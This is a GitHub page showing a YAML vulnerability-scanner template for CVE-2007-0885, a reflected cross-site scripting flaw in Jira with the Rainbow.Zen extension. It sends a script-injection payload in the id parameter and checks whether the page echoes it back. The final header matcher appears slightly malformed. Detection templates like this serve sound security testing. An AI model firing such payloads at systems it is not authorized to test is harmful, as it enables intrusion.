forked from coolboy0816/pxplan
-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2007-0885.yaml
26 lines (23 loc) · 801 Bytes
/
CVE-2007-0885.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
id: CVE-2007-0885
info:
name: Rainbow.Zen Jira XSS
description: Cross-site scripting (XSS) vulnerability in jira/secure/BrowseProject.jspa in Rainbow with the Zen (Rainbow.Zen) extension allows remote attackers to inject arbitrary web script or HTML via the id parameter.
reference: https://www.securityfocus.com/archive/1/459590/100/0/threaded
author: geeknik
severity: medium
tags: cve,cve2007,jira,xss
requests:
- method: GET
path:
- "{{BaseURL}}/jira/secure/BrowseProject.jspa?id=\"><script>alert('{{randstr}}')</script>"
matchers-condition: and
matchers:
- type: word
words:
- "\"><script>alert('{{randstr}}')</script>"
- type: status
status:
- 200
- type: word
part: header
- "text/html"